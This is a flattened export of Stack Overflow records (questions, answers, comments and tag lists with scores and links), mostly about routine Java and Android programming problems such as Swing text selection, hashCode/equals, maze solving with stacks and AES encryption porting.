has body: Let's say we have two JTextArea in a JPanel, I want the user to be able to select text cross these two JTextArea using mouse in one select, Is it possible in Swing? Regards so far I have tried: I tried add mouselistener to these JTextArea, when mouseEnter, I select text in that TextArea, and highlight the text, pragmatically. This is both hard and error prone, I think maybe there is a better way EDIT: Thanks for all the answers and suggestions. Based on the answers, I implemented a basic solution and put it as an answer for other's reference. :)
downvote count: 0
has answer: http://stackoverflow.com/a/47836287
has answer: http://stackoverflow.com/a/22201475
linked to: http://stackoverflow.com/q/9242620
favorite count: 0
has comment: http://stackoverflow.com/comment/33703120
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33703235
answer count: 4
linked to: http://stackoverflow.com/q/18243101
tagged with: select

http://stackoverflow.com/comment/33870470
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22293393
type: QuestionComment
has text: You are missing a closing </XML> tag

http://stackoverflow.com/comment/33738659
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/22219067
has text: So have you already tried it after setting `JAVA_HOME` the JRE7's location of the Java home?
type: Comment

ip-camera
tags question: http://stackoverflow.com/q/22323103
type: Tag
tag name: ip-camera

http://stackoverflow.com/a/26801267
has comment: http://stackoverflow.com/comment/42184390
score: 5
has body: Disclaimer: I am the author of the jaxb2-annotate-plugin mentioned in @ToYonos answer. This is not a standalone answer but rather an addition to @ToYonos answer. I would like to address the following point from the question. Annox plugin from Atlassian's JAXB2 Basics framework/project (according to examples, seems to do the job but to add a whole framework and hundreds of kB of code just to add simple annotation to a bunch of classes? Really??), I just need to add a few notes: First of all, this is not "Atlassian's" framework/project. I am neither employee nor affiliated with Atlassian or Sun or Oracle (although I'm an official Sun/Oracle contributor). This is an indipendent open-source project not driven by any company. Next, jaxb2-annotate-plugin was moved to a standalone project, it is not longer part of JAXB2 Basics. It just got too large and deserved to be a standalone thing. Concerning "a whole framework and hundreds of kB of code". jaxb2-annotate-plugin does not require or add ANY runtime dependencies to your code. If you annotations have runtime retention, you'll need the classes of your annotations in runtime, but it should be obvious. jaxb2-annotate-plugin does indeed have a number of compile-time dependencies like javaparser which is used to parse annotations from Java syntax. Well, this is due to the fact the plugin has to do a lot of moderately advanced stuff like parse annotations from Java syntax and transform them to codemodel to add to the generated code. I personally don't think that a few hundred kBs in the compile time is a problem at all. So, from my point of view, @ToYonos offered a reasonable workaround for the moment. Now, how would a correct fix look like? The correct fix would be to fix XJC. Everything else is just a workaround. There is the JAXB-1053 issue for this problem. Iaroslav correctly points out that as long as 1.6 has to be supported, the diamond fix can't be applied. The CodeModel will have to be updated as well to support Java 7…
downvote count: 0
has comment: http://stackoverflow.com/comment/61342967
answers question: http://stackoverflow.com/q/22314669
has comment: http://stackoverflow.com/comment/42178106
type: Answer
has comment: http://stackoverflow.com/comment/42182356
upvote count: 5
has comment: http://stackoverflow.com/comment/42184483
has comment: http://stackoverflow.com/comment/42184269

http://stackoverflow.com/comment/33926057
has text: Files are spread in folders of 300 to 350 files. Size of each file is limited to 100 kb to 400 kb. Each file has a name of 9 chars, and the first two chars of all files in each folder is the same. It is possible that two different files with different contents have the same exact name and ".JPG" extension. Making an indexing table in database is a suggestion by team. Also all the files is on one single RAID on storage server.
comment on: http://stackoverflow.com/q/22304310
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33880266
type: QuestionComment
comment on: http://stackoverflow.com/q/22294616
score: 0
has text: it's just a test to show that CLASSPATH is not the concern here.
type: Comment

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/22234132
tags question: http://stackoverflow.com/q/22318056
tags question: http://stackoverflow.com/q/22314777
tags question: http://stackoverflow.com/q/22272329
tags question: http://stackoverflow.com/q/22218405
tags question: http://stackoverflow.com/q/22314435
tags question: http://stackoverflow.com/q/22317380
tags question: http://stackoverflow.com/q/22309674
tags question: http://stackoverflow.com/q/22322793
tags question: http://stackoverflow.com/q/22287148
tags question: http://stackoverflow.com/q/22173186
type: Tag
tags question: http://stackoverflow.com/q/22310562
tags question: http://stackoverflow.com/q/22224341
tags question: http://stackoverflow.com/q/22280796
tags question: http://stackoverflow.com/q/22231046
tags question: http://stackoverflow.com/q/22294787
tags question: http://stackoverflow.com/q/22294142
tags question: http://stackoverflow.com/q/22203409
tags question: http://stackoverflow.com/q/22224403
tags question: http://stackoverflow.com/q/22245398
tags question: http://stackoverflow.com/q/22248777
tags question: http://stackoverflow.com/q/22229513
tags question: http://stackoverflow.com/q/22260704
tags question: http://stackoverflow.com/q/22205683
tags question: http://stackoverflow.com/q/22267129
tags question: http://stackoverflow.com/q/22236239
tags question: http://stackoverflow.com/q/22217815
tags question: http://stackoverflow.com/q/22291998
tags question: http://stackoverflow.com/q/22178796
tags question: http://stackoverflow.com/q/22219393
tags question: http://stackoverflow.com/q/22308432
tags question: http://stackoverflow.com/q/22253642
tags question: http://stackoverflow.com/q/22254132
tags question: http://stackoverflow.com/q/22307023
tag name: html
tags question: http://stackoverflow.com/q/22266775
tags question: http://stackoverflow.com/q/22190151
tags question: http://stackoverflow.com/q/22323086
tags question: http://stackoverflow.com/q/22287944
tags question: http://stackoverflow.com/q/22242771
tags question: http://stackoverflow.com/q/22326125
tags question: http://stackoverflow.com/q/22262351
tags question: http://stackoverflow.com/q/22319489
tags question: http://stackoverflow.com/q/22180745
tags question: http://stackoverflow.com/q/22258731
tags question: http://stackoverflow.com/q/22301815

http://stackoverflow.com/comment/33671145
type: Comment
has text: so a bunch of people are just going to insult me because I couldnt figure out how to paste in my code, delete their comments, and put my question on hold???
score: 0
comment on: http://stackoverflow.com/q/22182920
type: QuestionComment

http://stackoverflow.com/q/22176683
has comment: http://stackoverflow.com/comment/33659483
has answer: http://stackoverflow.com/a/22178577
score: 0
answer count: 3
has title: What is use of hashCode() and equals() method in Java?
possible better answer: http://stackoverflow.com/a/22176810
has answer: http://stackoverflow.com/a/22176810
has answer: http://stackoverflow.com/a/22176922
has comment: http://stackoverflow.com/comment/33659558
type: AnsweredQuestion
has body: I have little problem with java. i am not able to get accurate result. what's wrong with this code please help me out from this code your own objects as keys in Maps or in Sets. To use your own objects as keys in Maps or in Sets.code not executing correctly.. what is use of hashcode and equals in java. Code: import java.util.LinkedHashMap; import java.util.LinkedHashSet; import java.util.Map; import java.util.Set; class Person { private int id; private String name; public Person(int id, String name) { this.id = id; this.name = name; } public String toString() { return "{ID is: " + id + "; name is: " + name + "}"; } } public class App { public static void main(String[] args) { //creating person object Person p1 = new Person(0, "Bob"); Person p2 = new Person(1, "Sue"); Person p3 = new Person(2, "Mike"); Person p4 = new Person(1, "Sue"); Map&lt;Person, Integer&gt; map = new LinkedHashMap&lt;Person, Integer&gt;(); //putting on map map.put(p1, 1); map.put(p2, 2); map.put(p3, 3); map.put(p4, 1); //displaying the result for(Person key: map.keySet()) { System.out.println(key + ": " + map.get(key)); } //using set Set&lt;Person&gt; set = new LinkedHashSet&lt;Person&gt;(); //adding on set set.add(p1); set.add(p2); set.add(p3); set.add(p4); //displaying the result System.out.println(set); } } Expected Output: {ID is: 0; name is: Bob}: 1 {ID is: 1; name is: Sue}: 1 {ID is: 2; name is: Mike}: 3 [{ID is: 0; name is: Bob}, {ID is: 1; name is: Sue}, {ID is: 2; name is: Mike}]
type: Question
accepted answer: http://stackoverflow.com/a/22178577
linked to: http://stackoverflow.com/q/27581
tagged with: java

http://stackoverflow.com/a/22421351
accepted answer of: http://stackoverflow.com/q/22310127
type: Answer
has body: If you look how spring resolves the arguments passed to the handler it is not very difficult to implement your own that does exactly what you want. By default spring will use the ModelAttributeMethodProcessor for arguments annotated with @ModelAttribute and simple types. Just look at the ModelAttributeMethodProcessor.supportsParameter() method implementation. /** * @return true if the parameter is annotated with {@link ModelAttribute} * or in default resolution mode also if it is not a simple type. */ @Override public boolean supportsParameter(MethodParameter parameter) { if (parameter.hasParameterAnnotation(ModelAttribute.class)) { return true; } else if (this.annotationNotRequired) { return !BeanUtils.isSimpleProperty(parameter.getParameterType()); } else { return false; } } ModelAttributeMethodProcessor is also responsible for kicking in the validation if the @Valid annotation is found. It does this in a interesting way to make the code compile without @Valid being on the classpath. Luckily this makes it easy to exploit in your advantage. The extracted ModelAttributeMethodProcessor.validateIfApplicable() method. /** * Validate the model attribute if applicable. * &lt;p&gt;The default implementation checks for {@code @javax.validation.Valid}. * @param binder the DataBinder to be used * @param parameter the method parameter */ protected void validateIfApplicable(WebDataBinder binder, MethodParameter parameter) { Annotation[] annotations = parameter.getParameterAnnotations(); for (Annotation annot : annotations) { if (annot.annotationType().getSimpleName().startsWith("Valid")) { Object hints = AnnotationUtils.getValue(annot); binder.validate(hints instanceof Object[] ? (Object[]) hints : new Object[] {hints}); break; } } } As you may already noticed it simply checks if there is a annotation present on the parameter that starts with "Valid" and tells the binder to validate it's value. Write a custom annotation The first thing to do is to write a new annotation which …
score: 5
upvote count: 5
downvote count: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22310127

http://stackoverflow.com/comment/33737590
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22219766
has text: Seriously? People are upvoting this?

http://stackoverflow.com/q/22212505
downvote count: 2
tagged with: java
has title: is there a way for java application load class-file to work,but prevent internal code to "java.io" them, say fileinputstream?
linked to: http://stackoverflow.com/q/22084982
tagged with: .class-file
type: Question
upvote count: 0
score: -2
has body: im not sure java securityManager can help till now, since i saw the normal usage is NOT accepted, please correct me if im wrong: set securitymanager in java code and take effect to defend the external exploit code, while it looks easy to bypass if someone can fully control the original code, right? launch java with securityManager policy file, which would hava the same issue as above.
answer count: 1
duplicate of: http://stackoverflow.com/q/22084982
has answer: http://stackoverflow.com/a/22213502
tagged with: java-io
tagged with: security
tagged with: securitymanager
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/33808242
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22255309
type: Comment
has text: <%@page import="com.dustin.Test_function"%> An error occurred at line: 22 in the jsp file: /VitalPath.jsp Test_function cannot be resolved to a type 22: Test_function test = new Test_function(); 23: test.printRequestInfo2(request); But in editor mode it resolves and in the "package explorer" view it resolves and will take me right to the method call in "Test_function"

http://stackoverflow.com/comment/33802987
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22254841
has text: Yeah that corrected the error, but now when I click the button it doesn't navigate at all. It just causes the application to crash. I'm new to Java I'm sorry for the stupid questions
score: 0

http://stackoverflow.com/q/22182920
has comment: http://stackoverflow.com/comment/33671246
tagged with: java
has comment: http://stackoverflow.com/comment/33672870
has comment: http://stackoverflow.com/comment/33672246
answer count: 1
has comment: http://stackoverflow.com/comment/33672664
has comment: http://stackoverflow.com/comment/33671467
has comment: http://stackoverflow.com/comment/33672544
has comment: http://stackoverflow.com/comment/33672754
has comment: http://stackoverflow.com/comment/33671228
has comment: http://stackoverflow.com/comment/33671534
has comment: http://stackoverflow.com/comment/33672101
downvote count: 5
has answer: http://stackoverflow.com/a/22184007
has comment: http://stackoverflow.com/comment/33671845
has comment: http://stackoverflow.com/comment/33671229
has body: Example Maze: WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW WSOOOOOOOOOOOOOOWOOOOOOOOOOOOOOOOOWOOOOOOOOOOOOOOOWOOOOOOW WWOOOOOOOOOOOOOWWWWWWWWWWWWWOOOOOOOOOOWWWWWWWWWWWWWOOOOOOW WWWWWWOOOOOOOOOOOOWWWWWWWOOOOOOOOOOOOWWWWWWWWWWWWWWWWOOOOW WOOOOOOWWWWWWWWWWWWWWOOOOOOOOOOOWWWWWWWWOOOOOOOOOOOOOOOWWW WOOOOWWWWWWWOOOOOOWWWWOOOOOOWWWWWWWWWWWOOOOWWWWWWWWWOWWWWW WOOOWWWWWWWWWWWWOOWWWWWWWWWWWWOOOOOOOOOOOOWWWWWWWWWOOOOOWW WOOWWWWWWWWWWWWWOOWWWWWWWWWWWWWWWWWOOOOOOOWWWWWWWWWWWWOOOW WOWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWOOOOOOOWWWWWWWWWWWOOW WOWWWWWWWWWWWWWOOOOOOOOOOOOOOOOOOOOOOOOOOOOWWWWWWWWWWWWOOW WOOOOOOOOOOOOOOOOWWWWOOOOOOOOWWWWWWWOOOOOOWWWWWWWWWWWWWOFW WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW We need to take in a txt file like above and return true or false if it is solvable, using stacks. My question is: How do I take the characters, one by one, from the file, and assign them as points in a 2D array to push into a stack? I sort of have a bit of pseudo code below... Here is what I have... import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; import java.util.Stack; import java.awt.Point; public class MazeExplorer { public static int x; public static int y; final int mazeHeight = 12; final int mazeWidth = 58; public static char[][] mazeLocationPoints = new char[12][58]; public static void main(String[] args) throws FileNotFoundException{ File f = new File("Maze1.txt"); Scanner sc = new Scanner(f); String mazeString = new Scanner( f ).useDelimiter("\\A").next(); Stack&lt;Point&gt; points = new Stack&lt;&gt;(); while(sc.hasNextLine()){ mazeLocationPoints[][] = sc.nextLine().toCharArray(); points.push(mazeLocations); } } } I have no clue how to create points out of the maze locations..? The given maze is 12 x 58, and I have converted to string, but how I do I assign a point(x, y) value to each location(char)? I know the bottom part is wrong, it's just to show what i want to do. ITERATING OVER DIMENSION: import java.io.F…
has comment: http://stackoverflow.com/comment/33673001
has comment: http://stackoverflow.com/comment/33671953
has comment: http://stackoverflow.com/comment/33671206
type: AnsweredQuestion
upvote count: 0
score: -5
has comment: http://stackoverflow.com/comment/33672558
has comment: http://stackoverflow.com/comment/33672044
has comment: http://stackoverflow.com/comment/33672592
favorite count: 0
has comment: http://stackoverflow.com/comment/33672952
has comment: http://stackoverflow.com/comment/33672871
type: Question
has comment: http://stackoverflow.com/comment/33671508
accepted answer: http://stackoverflow.com/a/22184007
has title: How to traverse java maze using stacks
has comment: http://stackoverflow.com/comment/33671746
has comment: http://stackoverflow.com/comment/33671252
has comment: http://stackoverflow.com/comment/33672895
has comment: http://stackoverflow.com/comment/33671145
has comment: http://stackoverflow.com/comment/33672501
has comment: http://stackoverflow.com/comment/33671268
has comment: http://stackoverflow.com/comment/33672287

http://stackoverflow.com/comment/53390129
type: AnswerComment
comment on: http://stackoverflow.com/a/32775711
has text: I'll take out the downvote once you place your code *here* (Stack Overflow) into your answer. Having external links isn't a good idea. Also as Maciej Lach said, describe what your code does. And please, take out your name from answer, it's already seen on your profile. And btw, why are you thanking us?
score: 0
type: Comment

http://stackoverflow.com/comment/33736564
comment on: http://stackoverflow.com/q/22219562
score: 0
type: Comment
type: QuestionComment
has text: thanks mek please do some needful if you have answer

http://stackoverflow.com/comment/33890929
type: AnswerComment
comment on: http://stackoverflow.com/a/22304746
score: 0
has text: I don't know what sort of error you got, but mine was a NullPointer. This is because you will be trying to parse the HTML page, so when you ask for something via a JSONObject/Array it is not going to know what to return. It's easier to do it this way in my opinion. It was only a one one code change for me. Should be the same for you.
type: Comment

http://stackoverflow.com/comment/33838928
score: 1
comment on: http://stackoverflow.com/q/22275198
type: Comment
type: QuestionComment
has text: Yes, that will work fine.

http://stackoverflow.com/comment/33829197
has text: Your `XBug` constructor sets two ints. That's it. What are you expecting it to do?
score: 0
comment on: http://stackoverflow.com/q/22270657
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22298389
tagged with: java
has title: AES-Rijndael 128 encryption in Java
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33880143
has comment: http://stackoverflow.com/comment/33909765
downvote count: 0
tagged with: cryptography
favorite count: 0
has comment: http://stackoverflow.com/comment/33888541
has comment: http://stackoverflow.com/comment/33881301
type: UnansweredQuestion
tagged with: encryption
tagged with: android
tagged with: php
has comment: http://stackoverflow.com/comment/33879765
has body: I have a snippet in PHP that encrypts a plain String using AES 128 encryption. I have a problem to use this in Java as I do not have any experience on cryptography. Take a look at the PHP snippet here: function encrypt_text($decrypted) { $thePassKey = "MY_KEY_SOME_GIBBERISH_KEY"; # Add PKCS7 padding. $str = $decrypted; // Gets the block size of the specified cipher // MODE: CBC // CIPHER NAME: RIJNDAEL_128 $block = mcrypt_get_block_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC); echo "Encryption: ".MCRYPT_RIJNDAEL_128." "; echo "Mcrypt Mode: ".MCRYPT_MODE_CBC." "; echo "Block: " . $block." "; if (($pad = $block - (strlen($str) % $block)) < $block){ $str .= str_repeat(chr($pad), $pad); } // Returns the size of the IV belonging to a specific cipher/mode combination $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC); $iv = ''; for($i = 0; $i < $iv_size; $i++){ $iv .= "\0"; } // mcrypt_encrypt: Encrypts plaintext with given parameters // base6_encode: Encodes data with MIME base64 return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $thePassKey, $str, MCRYPT_MODE_CBC, $iv)); } From the above snippet, I've managed to get the requirement it needs to encrypt a string which are: Encryption mode: rijndael-128 Mcrypt mode: cbc Block: 16 So, how do I do exactly this but with Java? I'm implementing it in an android app, if that helps.
answer count: 0
score: 1

http://stackoverflow.com/a/23551845
type: Answer
has body: Sorry to hear that. By chance I had Parse Android Anywall Project opened with my project. In this example project, the following code can help achieve your goal. I tried to post codes here, can't past the formatting requirement of stackoverflow.
score: 0
answers question: http://stackoverflow.com/q/22186706

http://stackoverflow.com/q/22171353
tagged with: string
has comment: http://stackoverflow.com/comment/33649936
favorite count: 0
has comment: http://stackoverflow.com/comment/33649974
has comment: http://stackoverflow.com/comment/33649972
has comment: http://stackoverflow.com/comment/33649940
tagged with: compare
has body: I have 5 distinct strings called, say, string1 through string5. I want to write a simple if statement that runs if any two of the five strings contain the same string. How would I do that? Thanks in advance!
has comment: http://stackoverflow.com/comment/33649805
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/22171530
accepted answer: http://stackoverflow.com/a/22171530
has comment: http://stackoverflow.com/comment/33649836
has comment: http://stackoverflow.com/comment/33650005
has comment: http://stackoverflow.com/comment/33649646
type: Question
has comment: http://stackoverflow.com/comment/33649677
tagged with: if-statement
score: -2
has comment: http://stackoverflow.com/comment/33650079
tagged with: java
has title: Comparing multiple strings in Java
downvote count: 2
has comment: http://stackoverflow.com/comment/33650582
answer count: 1
has comment: http://stackoverflow.com/comment/33649765
has comment: http://stackoverflow.com/comment/33649739

http://stackoverflow.com/q/22187225
has answer: http://stackoverflow.com/a/22187315
linked to: http://stackoverflow.com/q/5007355
score: 0
answer count: 1
has body: I have a JPanel where i keep track of the mouse pointer position when it moves. I store that into some fields. How can I access the getter to read the fields of an already created object, within another object? This is just an example, i'm struggling to get object communication without using static variables. Some code: class MainPanel extends JPanel implements MouseMotionListener { public int mouseX, mouseY public MainPanel(){ this.addMouseMotionListener(this); ... } public void mouseMoved(MouseEvent e) { this.MouseX = e.getX(); this.MouseY = e.getY(); } public int getX(){ return this.MouseX; } public int getY(){ return this.MouseY; } ... } } class Something{ *** I want to, for example, print on console the XY coordinates of the -object- MainPanel. **** } } Thanks!
accepted answer: http://stackoverflow.com/a/22187315
tagged with: java
has title: Object communication in Java with no Static variables with getters and setters
type: Question
type: AnsweredQuestion

http://stackoverflow.com/q/22267881
favorite count: 0
tagged with: android
has body: I'm tring to create a ViewPager non-swipable. I've wrote this code MainActivity public class MainActivity extends FragmentActivity { ViewPagerAdattatore adattatoreViewPager; DrawerLayout drawerLayout; ViewPager viewPager; @Override protected void onCreate(Bundle savedIstanceState) { super.onCreate(savedIstanceState); setContentView(R.layout.activity_main); viewPager=(ViewPager)findViewById(R.id.viewPager); drawerLayout=(DrawerLayout)findViewById(R.id.navDrawer); listaNavDrawer=(ListView)findViewById(R.id.listaDrawer); adattatoreViewPager=new ViewPagerAdattatore(getSupportFragmentManager()); viewPager.setAdapter(adattatoreViewPager); } } ViewPagerAdattatore import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentPagerAdapter; public class ViewPagerAdattatore extends FragmentPagerAdapter { public final static int PAGINE=1; Fragment fragment; public ViewPagerAdattatore(FragmentManager fragmentManager) { super(fragmentManager); // TODO Auto-generated constructor stub } @Override public Fragment getItem(int arg0) { // TODO Auto-generated method stub switch (arg0) { case 0: return new HomePage(); case 1: return new Informazioni(); // case 3: return new TerzaPagina(); } fragment=new HomePage(); return fragment; } @Override public int getCount() { // TODO Auto-generated method stub return PAGINE; } } Informazioni public class Informazioni extends Fragment { TextView textView; View view; public View onCreateView(Bundle savedIstanceState, LayoutInflater inflater, ViewGroup parent) { view=inflater.inflate(R.layout.home_page, parent, false); textView=(TextView)view.findViewById(R.id.textView1); textView.setText("welcome"); return view; } } HomePage as the same code of informazioni ViewPagerNoSwipe public class ViewPagerNoSwipe extends ViewPager { public ViewPagerNoSwipe(Context context) { super(context); } public ViewPagerNoSwipe(Context context, AttributeSet attrs) { super(context, attrs); } @Override public …
tagged with: http://stackoverflow.com/tag/xml
has title: ViewPager no swipe issue
has answer: http://stackoverflow.com/a/22267956
accepted answer: http://stackoverflow.com/a/22267956
downvote count: 0
type: Question
type: AnsweredQuestion
score: 1
tagged with: java
upvote count: 1
answer count: 1

http://stackoverflow.com/a/22303146
downvote count: 0
answers question: http://stackoverflow.com/q/22288544
type: Answer
accepted answer of: http://stackoverflow.com/q/22288544
upvote count: 1
score: 1
has body: x_a_horse_with_no_name's comment got it! I simply renamed java.exe and javaw.exe in C:\Windows\System32 (&amp; in \SysWOW64), thereby forcing Windows to instead read from the PATH. My guess is that the JDK6 install refused to overwrite the JRE7 files as they were newer or something. Regardless, problem solved, thanks!
type: AcceptedAnswer

http://stackoverflow.com/comment/34410160
type: AnswerComment
has text: Definitely will look into this and see if the logs match up with what I'm seeing! Will report back with my results
type: Comment
comment on: http://stackoverflow.com/a/22600022
score: 0

http://stackoverflow.com/a/22264706
has comment: http://stackoverflow.com/comment/33819096
has comment: http://stackoverflow.com/comment/33819083
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22264689
answers question: http://stackoverflow.com/q/22264689
has body: Using encapsulation is better. It makes no sense for a GUI class to extend a 'user' class -- the two don't possess any sort of "is-a" relationship. It does make sense, however, for the GUI class to maintain a user object to work with. In other words, it doesn't make sense to say a GUI object is a user object, but it does make sense to say a GUI object contains user a user object. Lastly, you generally want to keep your front-end and back-end as separate and modular as possible. Having your GUI class extend your user class undermines this principle.
type: Answer
has comment: http://stackoverflow.com/comment/33819069
has comment: http://stackoverflow.com/comment/33819108
score: 3
upvote count: 3

http://stackoverflow.com/comment/33777143
type: QuestionComment
has text: `s` and `str` are ***null***. They are instanceof ***nothing***.
score: 2
comment on: http://stackoverflow.com/q/22241798
type: Comment

http://stackoverflow.com/comment/67487657
comment on: http://stackoverflow.com/q/22197664
has text: How do i get url from httpResponse ?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33864990
score: 0
comment on: http://stackoverflow.com/q/22290178
type: Comment
type: QuestionComment
has text: Please ask an answerable question. Any question.

http://stackoverflow.com/comment/33917826
comment on: http://stackoverflow.com/a/22243789
type: Comment
type: AnswerComment
has text: Okay... another reason not to use Tibco? That method is not marked as optional.
score: 0

http://stackoverflow.com/comment/33861974
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22287677
score: 0
has text: Talking with you I realized something. Initially I thought lock the thread and unlock it (monitoring the id), so all the threads would pass by step 2 and 3 (with different processing). But I can simply do nothing if id is taken. Thus, with only check the synchronized set I can take a decision. Thank you! :D

http://stackoverflow.com/a/22179007
type: AcceptedAnswer
downvote count: 0
score: 10
has body: Preferences is an Android lightweight mechanism to store and retrieve pairs of primitive data types (also called Maps, and Associative Arrays). In each entry of the form the key is a string and the value must be a primitive data type. WHEN WE NEED THEM: PREFERENCES are typically used to keep state information and shared data among several activities of an application. Shared Preferences is the storage, in android, that you can use to store some basic things related to functionality, users' customization or its profile. Suppose you want to save user's name in your app for future purposes. You cant save such a little thing in database, So you better keep it saved in your Preferences. Preferences is just like a file , from which you can retrieve value anytime in application's lifetime in a KEY-VALUE pair manner. Take another example, If you use whatsapp, we have a wallpaper option there. How the application knows which image serves as wall-paper for you whenever you open your whatsapp. This information is stored in preferences. Whenever you clear data for any app, preferences are deleted. HOW TO USE THESE PREFERENCES : final int mode = Activity.MODE_PRIVATE; final String MYPREFS = "MyPreferences_001"; // create a reference to the shared preferences object SharedPreferences mySharedPreferences; // obtain an editor to add data to my SharedPreferences object SharedPreferences.Editor myEditor; mySharedPreferences = getSharedPreferences(MYPREFS, 0); // using this instance you can get any value saved. mySharedPreferences.getInt("backColor",Color.BLACK); // default value is BLACK set here EDITING SHARED PREFERENCES : myEditor = mySharedPreferences.edit(); //edit and commit myEditor.putString("backColor", Color.RED); myEditor.commit() //very imp.
type: Answer
answers question: http://stackoverflow.com/q/22178414
has comment: http://stackoverflow.com/comment/124282248
accepted answer of: http://stackoverflow.com/q/22178414
upvote count: 10

http://stackoverflow.com/comment/33752638
score: 0
type: Comment
type: QuestionComment
has text: You didn't show the `getMeanPlot` method. Since I was able to execute your code (filling in my own `getMeanPlot` method) without issue, I'm guessing something was messed up there.
comment on: http://stackoverflow.com/q/22212035

http://stackoverflow.com/a/22212381
has comment: http://stackoverflow.com/comment/33724553
downvote count: 1
has comment: http://stackoverflow.com/comment/33725344
score: -1
answers question: http://stackoverflow.com/q/22212158
has comment: http://stackoverflow.com/comment/117538851
has comment: http://stackoverflow.com/comment/33724269
has comment: http://stackoverflow.com/comment/33724578
upvote count: 0
has comment: http://stackoverflow.com/comment/33724513
has comment: http://stackoverflow.com/comment/33724591
has comment: http://stackoverflow.com/comment/33724213
has comment: http://stackoverflow.com/comment/33725122
type: Answer
has comment: http://stackoverflow.com/comment/33724422
has comment: http://stackoverflow.com/comment/33724915
has comment: http://stackoverflow.com/comment/33725374
has body: Map&lt;String, Object&gt; innerMap = new WhateverMap&lt;String, Object&gt;(); innerMap.put("data", "click here"); innerMap.put("size", "36"); innerMap.put("application", "facebook app"); Map&lt;String, Object&gt; outerMap = new WhateverMap&lt;String, Object&gt;(); outerMap.put("name", "kill button"); outerMap.put("username", "user1783"); outerMap.put("options", innerMap); String jsonString = jsonEncoder.encode(outerMap);
has comment: http://stackoverflow.com/comment/33724364

http://stackoverflow.com/a/22211436
has comment: http://stackoverflow.com/comment/33722689
has comment: http://stackoverflow.com/comment/33723265
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/33722849
has comment: http://stackoverflow.com/comment/33723337
has comment: http://stackoverflow.com/comment/33722760
score: 1
has body: You can define an entry point of your application in the MANIFEST file. Have a look here: http://docs.oracle.com/javase/tutorial/deployment/jar/appman.html
upvote count: 1
answers question: http://stackoverflow.com/q/22211381
has comment: http://stackoverflow.com/comment/33722574
has comment: http://stackoverflow.com/comment/33722955
has comment: http://stackoverflow.com/comment/33722652

http://stackoverflow.com/a/22228635
answers question: http://stackoverflow.com/q/22228090
has body: If you generate your questions, so you don't have any IDs for your views, you can cycle through all RadioGroups and through all their children in RadioGroup. So if you store RadioGroups for example in an ListArray radioGroups, then you can do this: private boolean isAllAnswered() { for (RadioGroup rg : radioGroups) { boolean questionAnswered = false; for (int i = 0; i &lt; rg.getChildCount(); i++) { RadioButton rb = rg1.getChildAt(i); if (rb.isChecked()) { questionAnswered = true; break; // litle optimalization } } if (questionAnswered == false) { return false; } } return true; } If you need to know, which questions are not answered, you can expand it to returning an Array. If you use xml, then make an common method isAnswered(RadioGroup rg) and skip the first cycle. It's up to you.
type: Answer
score: 0

http://stackoverflow.com/q/22214640
linked to: http://stackoverflow.com/q/2920364
has answer: http://stackoverflow.com/a/22215082
type: Question
score: 0
answer count: 2
duplicate of: http://stackoverflow.com/q/2920364
has title: can we get null value using ResultSet getShort method in java
has comment: http://stackoverflow.com/comment/33728333
has answer: http://stackoverflow.com/a/22214705
has body: Can one get null value using the ResultSet.getShort() method in java? I know that it converts null value to 0,and we can use the getObject() method to check null values, but can one get null values using the getShort method?
tagged with: jdbc
type: UnansweredQuestion
tagged with: java

http://stackoverflow.com/q/22304316
has body: I am making a program for a robot that will count how many times it hits an obstacle for the seconds that is running. I want to know what can I use to count the times. For example; if (robot.isObstacle); start counting every time isObstacle occurs and stop when there is no obstacle. Finch fRobot = new Finch(); fRobot.setWheelVelocities(250,250); long before = System.currentTimeMillis(); while (System.currentTimeMillis() - before &lt; msFinch*1000) if(fRobot.isObstacle() == true);{ System.out.println(obstacleCount); obstacleCount++; } if(fRobot.isObstacle() == false);{ System.out.println("No Obstacles hit"); } This doesn't seem to work I know I have done something wrong.
score: 0
accepted answer: http://stackoverflow.com/a/22304395
answer count: 1
has comment: http://stackoverflow.com/comment/33889836
has title: Java counting obstacles
tagged with: count
type: AnsweredQuestion
tagged with: finch
has answer: http://stackoverflow.com/a/22304395
type: Question
tagged with: java

http://stackoverflow.com/comment/33925763
has text: I don't know what you're trying. If you're expecting to get a new remote object per lookup, you need to revise your expectations.
comment on: http://stackoverflow.com/a/22312154
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/33650532
type: QuestionComment
has text: Use the [`Calendar.getTime()`](http://docs.oracle.com/javase/7/docs/api/java/util/Calendar.html#getTime%28%29) method to get the equivalent `Date` object.
comment on: http://stackoverflow.com/q/22171888
score: 2
type: Comment

http://stackoverflow.com/comment/33777806
type: AnswerComment
type: Comment
has text: I think I got it,I just wanna ask a couple of things in the last image Filereader return 10 characters,So how come it is returning 1 charcter(According to me from char array) in next two calls if 10 characters are stored in char array so how come everytime disk latency is 10ms.The second question is that if We are hooking Filereader in Bufferedreader's constructor then when we call readline() method is it internally calling read method of filereader right?
